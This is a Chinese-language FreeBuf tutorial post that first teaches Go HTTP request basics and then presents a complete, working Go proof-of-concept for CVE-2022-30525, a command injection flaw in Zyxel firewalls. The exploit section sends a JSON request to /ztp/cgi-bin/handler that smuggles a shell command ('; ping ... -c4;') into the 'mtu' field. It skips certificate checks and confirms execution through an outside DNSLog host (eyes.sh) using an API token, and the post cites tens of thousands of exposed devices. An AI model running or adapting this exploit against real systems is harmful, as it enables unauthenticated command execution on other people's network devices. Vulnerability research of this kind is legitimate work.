freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

实战Golang编写POC—CVE-2022-30525
2022-09-28 17:40:11
所属地 四川省

常见Http请求

最近在集中研究Golang,本文简单记录使用Go编写POC——CVE-2022-30525。

1.GET请求

1.1 无参数GET请求

package main

import (
"fmt"    //当下面调用到包时会自动填充,vscode存在自动导错包的可能
"io/ioutil"
"net/http"
"time"
)



func main() {
testUrl := "https://www.baidu.com"  
//也可以放带参数的URL:https://www.google.com/search?q=param.set
req, err := http.NewRequest("GET", testUrl, nil)
if err != nil {
panic(err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36") //自定义http请求头

client := http.Client{
Timeout: 5 * time.Second, //设置访问超时时间
}

resp, err := client.Do(req) //发送请求

if err != nil { //当出现err不等于nil的时候,说明出现某些错误,需要做异常处理
fmt.Println("request fail", err.Error())
return
} else {
fmt.Printf("StatusCode: %v\n", resp.StatusCode)  //输出状态码
}

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
fmt.Println(string(body))  //打印源码
}


1.2 带参数GET请求

package main

import (
"fmt"
"io/ioutil"
"log"
"net/http"
)

func main() {
//使用bing搜索数字1,url:https://cn.bing.com/search?q=1
url := "https://cn.bing.com/search"
req, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatal(err)   //打印错误信息
}
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")

//设置GET参数
params := req.URL.Query()
params.Add("q", "1")

req.URL.RawQuery = params.Encode() //如果参数中有中文参数,这个方法会进行urlEncode
resp, err := http.DefaultClient.Do(req)  //下划线忽略错误
if err != nil {
log.Fatal(err)
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(body)) //打印源码
}


1.3 Json格式返回

https://cloud.tencent.com/developer/article/1544283

GET请求时返回Json数据,使用encoding/json进行格式化

package main

import (
"encoding/json"
"log"
)

func main() {
......
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}

var data interface{}
json.Unmarshal(body, &data)
fmt.Println(data)
}


1.4 忽略证书

tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

client := http.Client{
Transport: tr,
}

某些Https网站,因为证书问题会抛出如下异常,所以需要忽略证书,在初始化http客户端的时候忽略:

“ x509: certificate signed by unknown authority

panic: runtime error: invalid memory address or nil pointer dereference”


1.5 接收用户参数

var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.Parse()                            //接完参数关闭

2.POST请求

比较粗暴的方法

package main

import (
"fmt"
"net/http"
"strings"
)

func main() {
url := "http://www.target.com"
postData := `
{
"一股脑全复制进来,再带入使用"
}
`
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postData))
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json")

client := http.Client{}
resp, err := client.Do(req) //发送请求

if err != nil {
fmt.Printf("request fail. %s/n", err.Error())
}

if resp.StatusCode != 200 {
fmt.Println(resp.StatusCode)
}
}

尝试编写POC(CVE-2022-30525)

1.漏洞说明

存在漏洞的Zyxel防火墙容易受到通过管理 Http 接口进行未经身份验证的远程命令注入的攻击。命令以nobody用户身份执行。此漏洞通过/ztp/cgi-bin/handler URI 被利用,并且是将未经过滤的攻击者输入传递os.system到lib_wan_settings.py. setWanPortSt易受攻击的功能与命令相关联被调用。攻击者可以将任意命令注入到mtu或data参数中。

根据搜索引擎搜索,目前互联网还有49465个IP可能会受到影响;

1.1 漏洞复现做poc编写的信息收集

要编写poc需要知道漏洞如何利用,原理,以及响应的特征等,已知利用方式,进行测试查看相应特征等。

1.1.1 查看漏洞验证失败是怎样的状态

可以看到状态码为302,返回内容也是Found

1.1.2 查看漏洞验证成功是怎样的状态

后面通过多个目标测试发现漏洞不存有时也会返回503状态码,因此无法通过状态码或返回内容进行判断漏洞是否存在。


1.2 采用DNSLog

使用:http://eyes.sh/

1.2.1 API用法

子域名:test998.eyes.sh

Token:3377175d

单个请求命中查询:http://eyes.sh/api/{type}/test998/{prefix}/?token=3377175d

  • type: 设置为 dns 或者 web
  • prefix: 三级域名前缀

检查是否触发 test.test998.eyes.sh,访问:http://eyes.sh/api/dns/test998/test/?token=3377175d

  • 返回 True,请求被触发
  • 返回 False,请求未触发

多个请求命中查询:http://eyes.sh/api/group/dns/test998/{prefix}/?token=3377175d

  • prefix: 三级域名前缀

对于一个较大的Payload集合,首先批量投递payload,再通过单个请求,来检查哪些payload触发执行成功。

  • 扫描器投递 payload1,使用域名:payload1.xxx-rce.test998.eyes.sh
  • 扫描器投递 payload2,使用域名:payload2.xxx-rce.test998.eyes.sh
  • 扫描器投递 payload3,使用域名:payload3.xxx-rce.test998.eyes.sh
  • ...

检查是否存在漏洞,访问:http://eyes.sh/api/group/dns/test998/xxx-rce/?token=3377175d

  • 返回 False,漏洞未触发
  • 返回 {"success": "true", "data": ["payload3", "payload2", "payload1"]},漏洞被触发,data字段包含成功触发的payload清单,至多返回50个

1.3 poc编写思路

  • 用户参数接收
  • 用户参数处理
  • 漏洞验证并判断是否存在漏洞
  • 调用函数

1.4 CVE-2022-30525 POC

package main

import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"strings"
"time"
)

//1、url处理
func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") { //HasPrefix以http开头则返回true,区分大小写
target = "http://" + target //没有http的添加http
}

if strings.HasSuffix(target, "/") { //判断url是否以/结尾
target = strings.TrimSuffix(target, "/") //TrimSuffix去除/后缀suffix的字符串
fmt.Println(target)
}
return target
}

var rand_str string

//2、发送请求验证漏洞是否存在
func vuln_verify(target string) {
rand.Seed(time.Now().UnixNano()) //设置随机数种子,加上这行代码,可以保证每次随机都是随机的
b := make([]byte, 2)             //函数 make 接受一个类型、一个指定的默认长度
rand.Read(b)
rand_str = hex.EncodeToString(b) //编码为16进制

fmt.Printf("rand_str: %v\n", rand_str) //查看结果

url := target + "/ztp/cgi-bin/handler"
postDataStr := `
{
"command":"setWanPortSt",
"proto":"dhcp",
"port":"4",
"vlan_tagged":"1",
"vlanid":"5",
"mtu":"; ping ` + rand_str + `.test998.eyes.sh -c4;",
"data":"hi"
}
`
//-c 4可能会引发报错,在有些系统上,但是不加会不会存在Linux一直ping的可能
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr)) //创建请求
if err != nil {
fmt.Println("Create POST request failed", err.Error())
defer req.Body.Close() //避免内存泄漏,关闭HTTP响应
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/json") //发送的json数据,所以需要这个头

//忽略证书
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
}

resp, err := client.Do(req) //发送POST请求
if err != nil {
fmt.Println("request target fail", err.Error())
fmt.Println(resp.StatusCode)
}

time.Sleep(10 * time.Second) //延时

//3、获取响应判断漏洞是否存在
dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/test998/" + rand_str + "/?token=3377175d")
if err != nil {
fmt.Println("Failed to create dnsResponseGet request", err.Error())
defer dnsResponseGet.Body.Close()
}

body, err := ioutil.ReadAll(dnsResponseGet.Body)
if err != nil {
fmt.Println("Failed to get response", err.Error())
}

fmt.Println(string(body)) //打印查看一下返回内容

if string(body) == "True" {
fmt.Println("Target is vulnerable")
} else if string(body) == "False" {
fmt.Println("The target is not vulnerable")
}
}

//4、调用函数方法引入用户输入
func main() { //顺序执行,可打印参数查看运行是否正常
var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.Parse()                                                      //接完参数关闭
Target = urlHandler(Target)
vuln_verify(Target)
}


1.5 测试

1.5.1 当目标不可访问时

提示:request target fail

1.5.2 当不存在漏洞时

提示:The target is not vulnerable

1.5.3 当存在漏洞时

提示:Target is vulnerable

总结

  • 一开始找了些存在或不存在漏洞的防火墙查看,发现漏洞利用成功或失败的返回状态码不是固定的,存在误报的可能,于是采用DNSlog;
  • 最初使用 http://dnslog.cn/平台,用 http://www.dnslog.cn/getdomain.php?t=%f获取一个dnslog域名赋值给dnsLog_txt,再return出去,使用 http://www.dnslog.cn/getrecords.php?t=+ dnsLog_txt 查询响应,但查询dnslog响应的时候为空,发现不对劲,加COOKIE也不行,类似要用随机数,思考陷入了短路不知道怎么把同时把随机数和DNSLog域名抛出去,于是转战换成http://eyes.sh/
  • 编写好后,测试https的网站发现会报错,x509: certificate signed by unknown authority,再逐步解决即可。

本文仅简单记录使用Golang编写POC,欢迎大家留言交流讨论。

# poc # Golang
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录